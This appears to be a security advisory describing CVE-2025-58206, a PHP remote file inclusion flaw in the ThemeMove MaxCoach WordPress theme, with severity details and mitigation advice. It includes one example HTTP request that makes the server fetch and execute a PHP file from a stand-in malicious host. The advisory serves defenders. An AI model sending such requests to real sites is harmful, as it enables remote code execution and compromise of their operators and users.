Overview<\/strong><\/p>\n

CVE-2025-58206 is a critical vulnerability discovered in ThemeMove MaxCoach due to improper control of filename for the Include\/Require statement in PHP Program (PHP Remote File Inclusion). This flaw exposes systems to potential compromise and data leakage, posing a significant risk to businesses and users who rely on this software for their operations. With a CVSS Severity Score of 8.1, this vulnerability is categorized as a high severity<\/a> threat that necessitates urgent attention and mitigation.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-58206
\nSeverity: High (CVSS: 8.1)
\nAttack Vector: Network
\nPrivileges Required: None
\nUser Interaction: None
\nImpact: Potential system<\/a> compromise or data leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

ThemeMove MaxCoach | n\/a through 3.2.5<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The vulnerability arises from the improper control<\/a> of filenames for Include\/Require statement in PHP program within the MaxCoach theme. An attacker can manipulate the file inclusion<\/a> mechanisms used in PHP to trick the server into executing remote files hosted on external servers. This can lead to the execution of arbitrary code<\/a> within the server’s context, causing serious security implications such as system compromise or data leakage.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

Below is a conceptual example of how the vulnerability might be exploited. This involves a malicious HTTP request designed to trigger the PHP Remote File Inclusion<\/a>:<\/p>\n

GET \/index.php?file=http:\/\/malicious-site.com\/malicious.php HTTP\/1.1\nHost: vulnerable-site.com\nUser-Agent: Mozilla\/5.0\nAccept: *\/*<\/code><\/pre>\n
In this example, the attacker is trying to force the server to include and execute the ‘malicious.php’ file<\/a> from the ‘malicious-site.com’ domain.<\/p>\n
Mitigation Guidance<\/strong><\/p>\n
The best course of action to mitigate this vulnerability<\/a> is to apply the vendor patch as soon as it becomes available. In the meantime, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as temporary mitigation. Additionally, it is advised to restrict access to sensitive<\/a> files and directories and disable the ability to process remote files in the PHP configuration settings.<\/p>\n","protected":false},"excerpt":{"rendered":"
